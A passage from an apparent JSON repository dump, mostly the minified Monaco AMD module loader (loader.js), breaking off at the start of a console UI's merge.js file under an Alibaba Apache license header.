t;!function(e){e[e.LoaderAvailable=1]=\"LoaderAvailable\",e[e.BeginLoadingScript=10]=\"BeginLoadingScript\",e[e.EndLoadingScriptOK=11]=\"EndLoadingScriptOK\",e[e.EndLoadingScriptError=12]=\"EndLoadingScriptError\",e[e.BeginInvokeFactory=21]=\"BeginInvokeFactory\",e[e.EndInvokeFactory=22]=\"EndInvokeFactory\",e[e.NodeBeginEvaluatingScript=31]=\"NodeBeginEvaluatingScript\",e[e.NodeEndEvaluatingScript=32]=\"NodeEndEvaluatingScript\",e[e.NodeBeginNativeRequire=33]=\"NodeBeginNativeRequire\",e[e.NodeEndNativeRequire=34]=\"NodeEndNativeRequire\"}(t=e.LoaderEventType||(e.LoaderEventType={}));var r=function(){return function(e,t,r){this.type=e,this.detail=t,this.timestamp=r}}();e.LoaderEvent=r;var n=function(){function n(e){this._events=[new r(t.LoaderAvailable,\"\",e)]}return n.prototype.record=function(t,n){this._events.push(new r(t,n,e.Utilities.getHighPerformanceTimestamp()))},n.prototype.getEvents=function(){return this._events},n}();e.LoaderEventRecorder=n;var o=function(){function e(){}return e.prototype.record=function(e,t){},e.prototype.getEvents=function(){return[]},e}();o.INSTANCE=new o,e.NullLoaderEventRecorder=o}(AMDLoader||(AMDLoader={}));var AMDLoader;!function(e){var t=function(){function t(){}return t.fileUriToFilePath=function(e,t){if(t=decodeURI(t),e){if(/^file:\\/\\/\\//.test(t))return t.substr(8);if(/^file:\\/\\//.test(t))return t.substr(5)}else if(/^file:\\/\\//.test(t))return t.substr(7);return t},t.startsWith=function(e,t){return e.length>=t.length&&e.substr(0,t.length)===t},t.endsWith=function(e,t){return e.length>=t.length&&e.substr(e.length-t.length)===t},t.containsQueryString=function(e){return/^[^\\#]*\\?/gi.test(e)},t.isAbsolutePath=function(e){return/^((http:\\/\\/)|(https:\\/\\/)|(file:\\/\\/)|(\\/))/.test(e)},t.forEachProperty=function(e,t){if(e){var r=void 0;for(r in e)e.hasOwnProperty(r)&&t(r,e[r])}},t.isEmpty=function(e){var r=!0;return t.forEachProperty(e,function(){r=!1}),r},t.recursiveClone=function(e){if(!e||\"object\"!=typeof e)return e;var r=Array.isArray(e)?[]:{};return t.forEachProperty(e,function(e,n){r[e]=n&&\"object\"==typeof n?t.recursiveClone(n):n}),r},t.generateAnonymousModule=function(){return\"===anonymous\"+t.NEXT_ANONYMOUS_ID+++\"===\"},t.isAnonymousModule=function(e){return/^===anonymous/.test(e)},t.getHighPerformanceTimestamp=function(){return this.PERFORMANCE_NOW_PROBED||(this.PERFORMANCE_NOW_PROBED=!0,this.HAS_PERFORMANCE_NOW=e.global.performance&&\"function\"==typeof e.global.performance.now),this.HAS_PERFORMANCE_NOW?e.global.performance.now():Date.now()},t}();t.NEXT_ANONYMOUS_ID=1,t.PERFORMANCE_NOW_PROBED=!1,t.HAS_PERFORMANCE_NOW=!1,e.Utilities=t}(AMDLoader||(AMDLoader={}));var AMDLoader;!function(e){var t=function(){function t(){}return t.validateConfigurationOptions=function(t,r){return\"string\"!=typeof(r=r||{}).baseUrl&&(r.baseUrl=\"\"),\"boolean\"!=typeof r.isBuild&&(r.isBuild=!1),\"object\"!=typeof r.paths&&(r.paths={}),\"object\"!=typeof r.config&&(r.config={}),void 0===r.catchError&&(r.catchError=t),\"string\"!=typeof r.urlArgs&&(r.urlArgs=\"\"),\"function\"!=typeof r.onError&&(r.onError=function(e){return\"load\"===e.errorCode?(console.error('Loading \"'+e.moduleId+'\" failed'),console.error(\"Detail: \",e.detail),e.detail&&e.detail.stack&&console.error(e.detail.stack),console.error(\"Here are the modules that depend on it:\"),void console.error(e.neededBy)):\"factory\"===e.errorCode?(console.error('The factory method of \"'+e.moduleId+'\" has thrown an exception'),console.error(e.detail),void(e.detail&&e.detail.stack&&console.error(e.detail.stack))):void 0}),\"object\"==typeof r.ignoreDuplicateModules&&Array.isArray(r.ignoreDuplicateModules)||(r.ignoreDuplicateModules=[]),r.baseUrl.length>0&&(e.Utilities.endsWith(r.baseUrl,\"/\")||(r.baseUrl+=\"/\")),Array.isArray(r.nodeModules)||(r.nodeModules=[]),(\"number\"!=typeof r.nodeCachedDataWriteDelay||r.nodeCachedDataWriteDelay<0)&&(r.nodeCachedDataWriteDelay=7e3),\"function\"!=typeof r.onNodeCachedData&&(r.onNodeCachedData=function(e,t){e&&(\"cachedDataRejected\"===e.errorCode?console.warn(\"Rejected cached data from file: \"+e.path):\"unlink\"===e.errorCode||\"writeFile\"===e.errorCode?(console.error(\"Problems writing cached data file: \"+e.path),console.error(e.detail)):console.error(e))}),r},t.mergeConfigurationOptions=function(r,n,o){void 0===n&&(n=null),void 0===o&&(o=null);var i=e.Utilities.recursiveClone(o||{});return e.Utilities.forEachProperty(n,function(t,r){\"ignoreDuplicateModules\"===t&&void 0!==i.ignoreDuplicateModules?i.ignoreDuplicateModules=i.ignoreDuplicateModules.concat(r):\"paths\"===t&&void 0!==i.paths?e.Utilities.forEachProperty(r,function(e,t){return i.paths[e]=t}):\"config\"===t&&void 0!==i.config?e.Utilities.forEachProperty(r,function(e,t){return i.config[e]=t}):i[t]=e.Utilities.recursiveClone(r)}),t.validateConfigurationOptions(r,i)},t}();e.ConfigurationOptionsUtil=t;var r=function(){function r(e,r){if(this._env=e,this.options=t.mergeConfigurationOptions(this._env.isWebWorker,r),this._createIgnoreDuplicateModulesMap(),this._createNodeModulesMap(),this._createSortedPathsRules(),\"\"===this.options.baseUrl){if(this._env.isNode&&this.options.nodeRequire&&this.options.nodeRequire.main&&this.options.nodeRequire.main.filename){var n=this.options.nodeRequire.main.filename,o=Math.max(n.lastIndexOf(\"/\"),n.lastIndexOf(\"\\\\\"));this.options.baseUrl=n.substring(0,o+1)}if(this._env.isNode&&this.options.nodeMain){var n=this.options.nodeMain,o=Math.max(n.lastIndexOf(\"/\"),n.lastIndexOf(\"\\\\\"));this.options.baseUrl=n.substring(0,o+1)}}}return r.prototype._createIgnoreDuplicateModulesMap=function(){this.ignoreDuplicateModulesMap={};for(var e=0;e<this.options.ignoreDuplicateModules.length;e++)this.ignoreDuplicateModulesMap[this.options.ignoreDuplicateModules[e]]=!0},r.prototype._createNodeModulesMap=function(){this.nodeModulesMap=Object.create(null);for(var e=0,t=this.options.nodeModules;e<t.length;e++){var r=t[e];this.nodeModulesMap[r]=!0}},r.prototype._createSortedPathsRules=function(){var t=this;this.sortedPathsRules=[],e.Utilities.forEachProperty(this.options.paths,function(e,r){Array.isArray(r)?t.sortedPathsRules.push({from:e,to:r}):t.sortedPathsRules.push({from:e,to:[r]})}),this.sortedPathsRules.sort(function(e,t){return t.from.length-e.from.length})},r.prototype.cloneAndMerge=function(e){return new r(this._env,t.mergeConfigurationOptions(this._env.isWebWorker,e,this.options))},r.prototype.getOptionsLiteral=function(){return this.options},r.prototype._applyPaths=function(t){for(var r,n=0,o=this.sortedPathsRules.length;n<o;n++)if(r=this.sortedPathsRules[n],e.Utilities.startsWith(t,r.from)){for(var i=[],s=0,a=r.to.length;s<a;s++)i.push(r.to[s]+t.substr(r.from.length));return i}return[t]},r.prototype._addUrlArgsToUrl=function(t){return e.Utilities.containsQueryString(t)?t+\"&\"+this.options.urlArgs:t+\"?\"+this.options.urlArgs},r.prototype._addUrlArgsIfNecessaryToUrl=function(e){return this.options.urlArgs?this._addUrlArgsToUrl(e):e},r.prototype._addUrlArgsIfNecessaryToUrls=function(e){if(this.options.urlArgs)for(var t=0,r=e.length;t<r;t++)e[t]=this._addUrlArgsToUrl(e[t]);return e},r.prototype.moduleIdToPaths=function(t){if(!0===this.nodeModulesMap[t])return this.isBuild()?[\"empty:\"]:[\"node|\"+t];var r,n=t;if(e.Utilities.endsWith(n,\".js\")||e.Utilities.isAbsolutePath(n))e.Utilities.endsWith(n,\".js\")||e.Utilities.containsQueryString(n)||(n+=\".js\"),r=[n];else for(var o=0,i=(r=this._applyPaths(n)).length;o<i;o++)this.isBuild()&&\"empty:\"===r[o]||(e.Utilities.isAbsolutePath(r[o])||(r[o]=this.options.baseUrl+r[o]),e.Utilities.endsWith(r[o],\".js\")||e.Utilities.containsQueryString(r[o])||(r[o]=r[o]+\".js\"));return this._addUrlArgsIfNecessaryToUrls(r)},r.prototype.requireToUrl=function(t){var r=t;return e.Utilities.isAbsolutePath(r)||(r=this._applyPaths(r)[0],e.Utilities.isAbsolutePath(r)||(r=this.options.baseUrl+r)),this._addUrlArgsIfNecessaryToUrl(r)},r.prototype.isBuild=function(){return this.options.isBuild},r.prototype.isDuplicateMessageIgnoredFor=function(e){return this.ignoreDuplicateModulesMap.hasOwnProperty(e)},r.prototype.getConfigForModule=function(e){if(this.options.config)return this.options.config[e]},r.prototype.shouldCatchError=function(){return this.options.catchError},r.prototype.shouldRecordStats=function(){return this.options.recordStats},r.prototype.onError=function(e){this.options.onError(e)},r}();e.Configuration=r}(AMDLoader||(AMDLoader={}));var AMDLoader;!function(e){var t=function(){function e(e){this.actualScriptLoader=e,this.callbackMap={}}return e.prototype.load=function(e,t,r,n){var o=this,i={callback:r,errorback:n};this.callbackMap.hasOwnProperty(t)?this.callbackMap[t].push(i):(this.callbackMap[t]=[i],this.actualScriptLoader.load(e,t,function(){return o.triggerCallback(t)},function(e){return o.triggerErrorback(t,e)}))},e.prototype.triggerCallback=function(e){var t=this.callbackMap[e];delete this.callbackMap[e];for(var r=0;r<t.length;r++)t[r].callback()},e.prototype.triggerErrorback=function(e,t){var r=this.callbackMap[e];delete this.callbackMap[e];for(var n=0;n<r.length;n++)r[n].errorback(t)},e}(),r=function(){function e(){}return e.prototype.attachListeners=function(e,t,r){var n=function(){e.removeEventListener(\"load\",o),e.removeEventListener(\"error\",i)},o=function(e){n(),t()},i=function(e){n(),r(e)};e.addEventListener(\"load\",o),e.addEventListener(\"error\",i)},e.prototype.load=function(e,t,r,n){var o=document.createElement(\"script\");o.setAttribute(\"async\",\"async\"),o.setAttribute(\"type\",\"text/javascript\"),this.attachListeners(o,r,n),o.setAttribute(\"src\",t),document.getElementsByTagName(\"head\")[0].appendChild(o)},e}(),n=function(){function e(){}return e.prototype.load=function(e,t,r,n){try{importScripts(t),r()}catch(e){n(e)}},e}(),o=function(){function t(e){this._env=e,this._didInitialize=!1,this._didPatchNodeRequire=!1}return t.prototype._init=function(e){if(!this._didInitialize){this._didInitialize=!0,this._fs=e(\"fs\"),this._vm=e(\"vm\"),this._path=e(\"path\"),this._crypto=e(\"crypto\"),this._jsflags=\"\";for(var t=0,r=process.argv;t<r.length;t++){var n=r[t];if(0===n.indexOf(\"--js-flags=\")){this._jsflags=n;break}}}},t.prototype._initNodeRequire=function(t,r){function n(e){var t=e.constructor,r=function(t){try{return e.require(t)}finally{}};return r.resolve=function(r){return t._resolveFilename(r,e)},r.main=process.mainModule,r.extensions=t._extensions,r.cache=t._cache,r}var o=r.getConfig().getOptionsLiteral().nodeCachedDataDir;if(o&&!this._didPatchNodeRequire){this._didPatchNodeRequire=!0;var i=this,s=t(\"module\");s.prototype._compile=function(t,a){t=t.replace(/^#!.*/,\"\");var d=s.wrap(t),l=i._getCachedDataPath(o,a),u={filename:a};try{u.cachedData=i._fs.readFileSync(l)}catch(e){u.produceCachedData=!0}var c=new i._vm.Script(d,u),h=c.runInThisContext(u),f=i._path.dirname(a),p=n(this),g=[this.exports,p,this,a,f,process,e.global,Buffer],v=h.apply(this.exports,g);return i._processCachedData(r,c,l),v}}},t.prototype.load=function(r,n,o,i){var s=this,a=r.getConfig().getOptionsLiteral(),d=a.nodeRequire||e.global.nodeRequire,l=a.nodeInstrumenter||function(e){return e};this._init(d),this._initNodeRequire(d,r);var u=r.getRecorder();if(/^node\\|/.test(n)){var c=n.split(\"|\"),h=null;try{h=d(c[1])}catch(e){return void i(e)}r.enqueueDefineAnonymousModule([],function(){return h}),o()}else n=e.Utilities.fileUriToFilePath(this._env.isWindows,n),this._fs.readFile(n,{encoding:\"utf8\"},function(e,d){if(e)i(e);else{var c=s._path.normalize(n),h=c;if(s._env.isElectronRenderer){var f=h.match(/^([a-z])\\:(.*)/i);h=f?\"file:///\"+(f[1].toUpperCase()+\":\"+f[2]).replace(/\\\\/g,\"/\"):\"file://\"+h}var p,g=\"(function (require, define, __filename, __dirname) { \";if(p=d.charCodeAt(0)===t._BOM?g+d.substring(1)+\"\\n});\":g+d+\"\\n});\",p=l(p,c),a.nodeCachedDataDir){var v=s._getCachedDataPath(a.nodeCachedDataDir,n);s._fs.readFile(v,function(e,t){var i={filename:h,produceCachedData:void 0===t,cachedData:t},a=s._loadAndEvalScript(r,n,h,p,i,u);o(),s._processCachedData(r,a,v)})}else s._loadAndEvalScript(r,n,h,p,{filename:h},u),o()}})},t.prototype._loadAndEvalScript=function(t,r,n,o,i,s){s.record(e.LoaderEventType.NodeBeginEvaluatingScript,r);var a=new this._vm.Script(o,i);return a.runInThisContext(i).call(e.global,t.getGlobalAMDRequireFunc(),t.getGlobalAMDDefineFunc(),n,this._path.dirname(r)),s.record(e.LoaderEventType.NodeEndEvaluatingScript,r),a},t.prototype._getCachedDataPath=function(e,t){var r=this._crypto.createHash(\"md5\").update(t,\"utf8\").update(this._jsflags,\"utf8\").digest(\"hex\"),n=this._path.basename(t).replace(/\\.js$/,\"\");return this._path.join(e,n+\"-\"+r+\".code\")},t.prototype._processCachedData=function(e,r,n){var o=this;r.cachedDataRejected?(e.getConfig().getOptionsLiteral().onNodeCachedData({errorCode:\"cachedDataRejected\",path:n}),t._runSoon(function(){return o._fs.unlink(n,function(t){t&&e.getConfig().getOptionsLiteral().onNodeCachedData({errorCode:\"unlink\",path:n,detail:t})})},e.getConfig().getOptionsLiteral().nodeCachedDataWriteDelay)):r.cachedDataProduced&&(e.getConfig().getOptionsLiteral().onNodeCachedData(void 0,{path:n,length:r.cachedData.length}),t._runSoon(function(){return o._fs.writeFile(n,r.cachedData,function(t){t&&e.getConfig().getOptionsLiteral().onNodeCachedData({errorCode:\"writeFile\",path:n,detail:t})})},e.getConfig().getOptionsLiteral().nodeCachedDataWriteDelay))},t._runSoon=function(e,t){var r=t+Math.ceil(Math.random()*t);setTimeout(e,r)},t}();o._BOM=65279,e.createScriptLoader=function(e){return new t(e.isWebWorker?new n:e.isNode?new o(e):new r)}}(AMDLoader||(AMDLoader={}));var AMDLoader;!function(e){var t=function(){function t(e){var t=e.lastIndexOf(\"/\");this.fromModulePath=-1!==t?e.substr(0,t+1):\"\"}return t._normalizeModuleId=function(e){var t,r=e;for(t=/\\/\\.\\//;t.test(r);)r=r.replace(t,\"/\");for(r=r.replace(/^\\.\\//g,\"\"),t=/\\/(([^\\/])|([^\\/][^\\/\\.])|([^\\/\\.][^\\/])|([^\\/][^\\/][^\\/]+))\\/\\.\\.\\//;t.test(r);)r=r.replace(t,\"/\");return r=r.replace(/^(([^\\/])|([^\\/][^\\/\\.])|([^\\/\\.][^\\/])|([^\\/][^\\/][^\\/]+))\\/\\.\\.\\//,\"\")},t.prototype.resolveModule=function(r){var n=r;return e.Utilities.isAbsolutePath(n)||(e.Utilities.startsWith(n,\"./\")||e.Utilities.startsWith(n,\"../\"))&&(n=t._normalizeModuleId(this.fromModulePath+n)),n},t}();t.ROOT=new t(\"\"),e.ModuleIdResolver=t;var r=function(){function t(e,t,r,n,o,i){this.id=e,this.strId=t,this.dependencies=r,this._callback=n,this._errorback=o,this.moduleIdResolver=i,this.exports={},this.exportsPassedIn=!1,this.unresolvedDependenciesCount=this.dependencies.length,this._isComplete=!1}return t._safeInvokeFunction=function(t,r){try{return{returnedValue:t.apply(e.global,r),producedError:null}}catch(e){return{returnedValue:null,producedError:e}}},t._invokeFactory=function(t,r,n,o){return t.isBuild()&&!e.Utilities.isAnonymousModule(r)?{returnedValue:null,producedError:null}:t.shouldCatchError()?this._safeInvokeFunction(n,o):{returnedValue:n.apply(e.global,o),producedError:null}},t.prototype.complete=function(r,n,o){this._isComplete=!0;var i=null;if(this._callback)if(\"function\"==typeof this._callback){r.record(e.LoaderEventType.BeginInvokeFactory,this.strId);var s=t._invokeFactory(n,this.strId,this._callback,o);i=s.producedError,r.record(e.LoaderEventType.EndInvokeFactory,this.strId),i||void 0===s.returnedValue||this.exportsPassedIn&&!e.Utilities.isEmpty(this.exports)||(this.exports=s.returnedValue)}else this.exports=this._callback;i&&n.onError({errorCode:\"factory\",moduleId:this.strId,detail:i}),this.dependencies=null,this._callback=null,this._errorback=null,this.moduleIdResolver=null},t.prototype.onDependencyError=function(e){return!!this._errorback&&(this._errorback(e),!0)},t.prototype.isComplete=function(){return this._isComplete},t}();e.Module=r;var n=function(){function e(){this._nextId=0,this._strModuleIdToIntModuleId=new Map,this._intModuleIdToStrModuleId=[],this.getModuleId(\"exports\"),this.getModuleId(\"module\"),this.getModuleId(\"require\")}return e.prototype.getMaxModuleId=function(){return this._nextId},e.prototype.getModuleId=function(e){var t=this._strModuleIdToIntModuleId.get(e);return void 0===t&&(t=this._nextId++,this._strModuleIdToIntModuleId.set(e,t),this._intModuleIdToStrModuleId[t]=e),t},e.prototype.getStrModuleId=function(e){return this._intModuleIdToStrModuleId[e]},e}(),o=function(){return function(e){this.id=e}}();o.EXPORTS=new o(0),o.MODULE=new o(1),o.REQUIRE=new o(2),e.RegularDependency=o;var i=function(){return function(e,t,r){this.id=e,this.pluginId=t,this.pluginParam=r}}();e.PluginDependency=i;var s=function(){function s(t,r,o,i,s){void 0===s&&(s=0),this._env=t,this._scriptLoader=r,this._loaderAvailableTimestamp=s,this._defineFunc=o,this._requireFunc=i,this._moduleIdProvider=new n,this._config=new e.Configuration(this._env),this._modules2=[],this._knownModules2=[],this._inverseDependencies2=[],this._inversePluginDependencies2=new Map,this._currentAnnonymousDefineCall=null,this._recorder=null,this._buildInfoPath=[],this._buildInfoDefineStack=[],this._buildInfoDependencies=[]}return s.prototype.reset=function(){return new s(this._env,this._scriptLoader,this._defineFunc,this._requireFunc,this._loaderAvailableTimestamp)},s.prototype.getGlobalAMDDefineFunc=function(){return this._defineFunc},s.prototype.getGlobalAMDRequireFunc=function(){return this._requireFunc},s._findRelevantLocationInStack=function(e,t){for(var r=function(e){return e.replace(/\\\\/g,\"/\")},n=r(e),o=t.split(/\\n/),i=0;i<o.length;i++){var s=o[i].match(/(.*):(\\d+):(\\d+)\\)?$/);if(s){var a=s[1],d=s[2],l=s[3],u=Math.max(a.lastIndexOf(\" \")+1,a.lastIndexOf(\"(\")+1);if(a=a.substr(u),(a=r(a))===n){var c={line:parseInt(d,10),col:parseInt(l,10)};return 1===c.line&&(c.col-=\"(function (require, define, __filename, __dirname) { \".length),c}}}throw new Error(\"Could not correlate define call site for needle \"+e)},s.prototype.getBuildInfo=function(){if(!this._config.isBuild())return null;for(var e=[],t=0,r=0,n=this._modules2.length;r<n;r++){var o=this._modules2[r];if(o){var i=this._buildInfoPath[o.id]||null,a=this._buildInfoDefineStack[o.id]||null,d=this._buildInfoDependencies[o.id];e[t++]={id:o.strId,path:i,defineLocation:i&&a?s._findRelevantLocationInStack(i,a):null,dependencies:d,shim:null,exports:o.exports}}}return e},s.prototype.getRecorder=function(){return this._recorder||(this._config.shouldRecordStats()?this._recorder=new e.LoaderEventRecorder(this._loaderAvailableTimestamp):this._recorder=e.NullLoaderEventRecorder.INSTANCE),this._recorder},s.prototype.getLoaderEvents=function(){return this.getRecorder().getEvents()},s.prototype.enqueueDefineAnonymousModule=function(e,t){if(null!==this._currentAnnonymousDefineCall)throw new Error(\"Can only have one anonymous define call per script file\");var r=null;this._config.isBuild()&&(r=new Error(\"StackLocation\").stack),this._currentAnnonymousDefineCall={stack:r,dependencies:e,callback:t}},s.prototype.defineModule=function(e,n,o,i,s,a){var d=this;void 0===a&&(a=new t(e));var l=this._moduleIdProvider.getModuleId(e);if(this._modules2[l])this._config.isDuplicateMessageIgnoredFor(e)||console.warn(\"Duplicate definition of module '\"+e+\"'\");else{var u=new r(l,e,this._normalizeDependencies(n,a),o,i,a);this._modules2[l]=u,this._config.isBuild()&&(this._buildInfoDefineStack[l]=s,this._buildInfoDependencies[l]=u.dependencies.map(function(e){return d._moduleIdProvider.getStrModuleId(e.id)})),this._resolve(u)}},s.prototype._normalizeDependency=function(e,t){if(\"exports\"===e)return o.EXPORTS;if(\"module\"===e)return o.MODULE;if(\"require\"===e)return o.REQUIRE;var r=e.indexOf(\"!\");if(r>=0){var n=t.resolveModule(e.substr(0,r)),s=t.resolveModule(e.substr(r+1)),a=this._moduleIdProvider.getModuleId(n+\"!\"+s),d=this._moduleIdProvider.getModuleId(n);return new i(a,d,s)}return new o(this._moduleIdProvider.getModuleId(t.resolveModule(e)))},s.prototype._normalizeDependencies=function(e,t){for(var r=[],n=0,o=0,i=e.length;o<i;o++)r[n++]=this._normalizeDependency(e[o],t);return r},s.prototype._relativeRequire=function(t,r,n,o){if(\"string\"==typeof r)return this.synchronousRequire(r,t);this.defineModule(e.Utilities.generateAnonymousModule(),r,n,o,null,t)},s.prototype.synchronousRequire=function(e,r){void 0===r&&(r=new t(e));var n=this._normalizeDependency(e,r),o=this._modules2[n.id];if(!o)throw new Error(\"Check dependency list! Synchronous require cannot resolve module '\"+e+\"'. This is the first mention of this module!\");if(!o.isComplete())throw new Error(\"Check dependency list! Synchronous require cannot resolve module '\"+e+\"'. This module has not been resolved completely yet.\");return o.exports},s.prototype.configure=function(t,r){var n=this._config.shouldRecordStats();this._config=r?new e.Configuration(this._env,t):this._config.cloneAndMerge(t),this._config.shouldRecordStats()&&!n&&(this._recorder=null)},s.prototype.getConfig=function(){return this._config},s.prototype._onLoad=function(e){if(null!==this._currentAnnonymousDefineCall){var t=this._currentAnnonymousDefineCall;this._currentAnnonymousDefineCall=null,this.defineModule(this._moduleIdProvider.getStrModuleId(e),t.dependencies,t.callback,null,t.stack)}},s.prototype._createLoadError=function(e,t){var r=this;return{errorCode:\"load\",moduleId:this._moduleIdProvider.getStrModuleId(e),neededBy:(this._inverseDependencies2[e]||[]).map(function(e){return r._moduleIdProvider.getStrModuleId(e)}),detail:t}},s.prototype._onLoadError=function(e,t){for(var r=this._createLoadError(e,t),n=[],o=0,i=this._moduleIdProvider.getMaxModuleId();o<i;o++)n[o]=!1;var s=!1,a=[];for(a.push(e),n[e]=!0;a.length>0;){var d=a.shift(),l=this._modules2[d];l&&(s=l.onDependencyError(r)||s);var u=this._inverseDependencies2[d];if(u)for(var o=0,i=u.length;o<i;o++){var c=u[o];n[c]||(a.push(c),n[c]=!0)}}s||this._config.onError(r)},s.prototype._hasDependencyPath=function(e,t){var r=this._modules2[e];if(!r)return!1;for(var n=[],o=0,i=this._moduleIdProvider.getMaxModuleId();o<i;o++)n[o]=!1;var s=[];for(s.push(r),n[e]=!0;s.length>0;){var a=s.shift().dependencies;if(a)for(var o=0,i=a.length;o<i;o++){var d=a[o];if(d.id===t)return!0;var l=this._modules2[d.id];l&&!n[d.id]&&(n[d.id]=!0,s.push(l))}}return!1},s.prototype._findCyclePath=function(e,t,r){if(e===t||50===r)return[e];var n=this._modules2[e];if(!n)return null;for(var o=n.dependencies,i=0,s=o.length;i<s;i++){var a=this._findCyclePath(o[i].id,t,r+1);if(null!==a)return a.push(e),a}return null},s.prototype._createRequire=function(t){var r=this,n=function(e,n,o){return r._relativeRequire(t,e,n,o)};return n.toUrl=function(e){return r._config.requireToUrl(t.resolveModule(e))},n.getStats=function(){return r.getLoaderEvents()},n.__$__nodeRequire=e.global.nodeRequire,n},s.prototype._loadModule=function(t){var r=this;if(!this._modules2[t]&&!this._knownModules2[t]){this._knownModules2[t]=!0;var n=this._moduleIdProvider.getStrModuleId(t),o=this._config.moduleIdToPaths(n);this._env.isNode&&-1===n.indexOf(\"/\")&&o.push(\"node|\"+n);var i=-1,s=function(n){if(++i>=o.length)r._onLoadError(t,n);else{var a=o[i],d=r.getRecorder();if(r._config.isBuild()&&\"empty:\"===a)return r._buildInfoPath[t]=a,r.defineModule(r._moduleIdProvider.getStrModuleId(t),[],null,null,null),void r._onLoad(t);d.record(e.LoaderEventType.BeginLoadingScript,a),r._scriptLoader.load(r,a,function(){r._config.isBuild()&&(r._buildInfoPath[t]=a),d.record(e.LoaderEventType.EndLoadingScriptOK,a),r._onLoad(t)},function(t){d.record(e.LoaderEventType.EndLoadingScriptError,a),s(t)})}};s(null)}},s.prototype._loadPluginDependency=function(e,r){var n=this;if(!this._modules2[r.id]&&!this._knownModules2[r.id]){this._knownModules2[r.id]=!0;var o=function(e){n.defineModule(n._moduleIdProvider.getStrModuleId(r.id),[],e,null,null)};o.error=function(e){n._config.onError(n._createLoadError(r.id,e))},e.load(r.pluginParam,this._createRequire(t.ROOT),o,this._config.getOptionsLiteral())}},s.prototype._resolve=function(e){for(var t=this,r=e.dependencies,n=0,s=r.length;n<s;n++){var a=r[n];if(a!==o.EXPORTS)if(a!==o.MODULE)if(a!==o.REQUIRE){var d=this._modules2[a.id];if(d&&d.isComplete())e.unresolvedDependenciesCount--;else if(this._hasDependencyPath(a.id,e.id)){console.warn(\"There is a dependency cycle between '\"+this._moduleIdProvider.getStrModuleId(a.id)+\"' and '\"+this._moduleIdProvider.getStrModuleId(e.id)+\"'. The cyclic path follows:\");var l=this._findCyclePath(a.id,e.id,0);l.reverse(),l.push(a.id),console.warn(l.map(function(e){return t._moduleIdProvider.getStrModuleId(e)}).join(\" => \\n\")),e.unresolvedDependenciesCount--}else if(this._inverseDependencies2[a.id]=this._inverseDependencies2[a.id]||[],this._inverseDependencies2[a.id].push(e.id),a instanceof i){var u=this._modules2[a.pluginId];if(u&&u.isComplete()){this._loadPluginDependency(u.exports,a);continue}var c=this._inversePluginDependencies2.get(a.pluginId);c||(c=[],this._inversePluginDependencies2.set(a.pluginId,c)),c.push(a),this._loadModule(a.pluginId)}else this._loadModule(a.id)}else e.unresolvedDependenciesCount--;else e.unresolvedDependenciesCount--;else e.exportsPassedIn=!0,e.unresolvedDependenciesCount--}0===e.unresolvedDependenciesCount&&this._onModuleComplete(e)},s.prototype._onModuleComplete=function(e){var t=this,r=this.getRecorder();if(!e.isComplete()){for(var n=e.dependencies,i=[],s=0,a=n.length;s<a;s++){var d=n[s];if(d!==o.EXPORTS)if(d!==o.MODULE)if(d!==o.REQUIRE){var l=this._modules2[d.id];i[s]=l?l.exports:null}else i[s]=this._createRequire(e.moduleIdResolver);else i[s]={id:e.strId,config:function(){return t._config.getConfigForModule(e.strId)}};else i[s]=e.exports}e.complete(r,this._config,i);var u=this._inverseDependencies2[e.id];if(this._inverseDependencies2[e.id]=null,u)for(var s=0,a=u.length;s<a;s++){var c=u[s],h=this._modules2[c];h.unresolvedDependenciesCount--,0===h.unresolvedDependenciesCount&&this._onModuleComplete(h)}var f=this._inversePluginDependencies2.get(e.id);if(f){this._inversePluginDependencies2.delete(e.id);for(var s=0,a=f.length;s<a;s++)this._loadPluginDependency(e.exports,f[s])}}},s}();e.ModuleManager=s}(AMDLoader||(AMDLoader={}));var define,AMDLoader;!function(e){function t(){(o=function(e,t,r){\"string\"!=typeof e&&(r=t,t=e,e=null),\"object\"==typeof t&&Array.isArray(t)||(r=t,t=null),t||(t=[\"require\",\"exports\",\"module\"]),e?n.defineModule(e,t,r,null,null):n.enqueueDefineAnonymousModule(t,r)}).amd={jQuery:!0};var t=function(e,t){void 0===t&&(t=!1),n.configure(e,t)};(i=function(){if(1===arguments.length){if(arguments[0]instanceof Object&&!Array.isArray(arguments[0]))return void t(arguments[0]);if(\"string\"==typeof arguments[0])return n.synchronousRequire(arguments[0])}if(2!==arguments.length&&3!==arguments.length||!Array.isArray(arguments[0]))throw new Error(\"Unrecognized require call\");n.defineModule(e.Utilities.generateAnonymousModule(),arguments[0],arguments[1],arguments[2],null)}).config=t,i.getConfig=function(){return n.getConfig().getOptionsLiteral()},i.reset=function(){n=n.reset()},i.getBuildInfo=function(){return n.getBuildInfo()},i.getStats=function(){return n.getLoaderEvents()}}function r(){t();var r=e.Environment.detect(),s=e.createScriptLoader(r);if(n=new e.ModuleManager(r,s,o,i,e.Utilities.getHighPerformanceTimestamp()),r.isNode){var a=e.global.require||require,d=function(t){n.getRecorder().record(e.LoaderEventType.NodeBeginNativeRequire,t);try{return a(t)}finally{n.getRecorder().record(e.LoaderEventType.NodeEndNativeRequire,t)}};e.global.nodeRequire=d,i.nodeRequire=d}r.isNode&&!r.isElectronRenderer?(module.exports=i,define=function(){o.apply(null,arguments)},require=i):(void 0!==e.global.require&&\"function\"!=typeof e.global.require&&i.config(e.global.require),r.isElectronRenderer?define=function(){o.apply(null,arguments)}:e.global.define=define=o,e.global.require=i,e.global.require.__$__nodeRequire=d)}var n=null,o=null,i=null;e.init=r,\"undefined\"!=typeof doNotInitLoader||\"function\"==typeof e.global.define&&e.global.define.amd||r()}(AMDLoader||(AMDLoader={}));\n//# sourceMappingURL=../../min-maps/vs/loader.js.map"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/merge.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// declare global: diff_match_patch, DIFF_INSERT, DIFF_DELETE, DIFF_EQUAL\n\n(function(mod) {\n  if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n    mod(require(\"../../lib/codemirror\")); // Note non-packaged dependency diff_match_patch\n  else if (typeof define == \"function\" && define.amd) // AMD\n    define([\"../../lib/codemirror\", \"diff_match_patch\"], 